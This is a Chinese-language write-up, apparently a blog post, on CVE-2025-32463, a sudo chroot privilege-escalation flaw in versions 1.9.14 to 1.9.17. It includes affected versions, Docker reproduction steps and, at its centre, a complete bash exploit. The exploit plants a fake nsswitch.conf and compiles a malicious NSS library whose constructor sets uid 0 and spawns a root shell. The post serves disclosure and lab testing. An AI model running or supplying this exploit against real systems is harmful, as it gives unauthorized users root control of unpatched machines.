[TOC]

漏洞简介

Sudo 1.9.14+ 版本存在漏洞:它在切换环境(chroot)后过早解析路径,导致攻击者能通过伪造/etc/nsswitch.conf等文件,诱骗Sudo加载恶意库(如libnss_xxx.so)。无需特殊权限即可获得root权限,危害极大。(核心:路径解析顺序错误 + 恶意库劫持 = 直接提权)

漏洞概述

CVE-2025-32463 是一个高危的本地权限提升漏洞,影响 sudo 版本 1.9.14 至1.9.17。攻击者可以利用该漏洞,通过构造特定的环境,使 sudochroot 环境中加载用户控制的 /etc/nsswitch.conf 文件,从而绕过权限限制,获得 root 权限。

影响版本

版本影响范围在

1
Sudo 1.9.14至1.9.17全系列

换句话说,就是2023年7月20日发布的Sudo 1.9.14,2025年6月30日发布补丁

1
2
# 检查sudo版本
sudo --version

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
# If no command is provided, default to an interactive root shell.
CMD="/bin/bash"
else
# Otherwise, use the provided arguments as the command to execute.
CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

提权链路

image-20251104164139612

复现过程

  1. 克隆仓库

    1
    git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
  2. 构建 Docker 镜像

    1
    docker build -t cve-2025-32463 .
  3. 运行 Docker 容器

    1
    2
    docker run -it cve-2025-32463
    #unbutu环境测试,需要R权限,需要加上 --rm --privileged
  1. 执行漏洞验证

在容器内,使用以下命令验证漏洞:

./sudo-chwoot.sh

如果成功获得 root 权限,则表示漏洞存在。

image-20251104163557242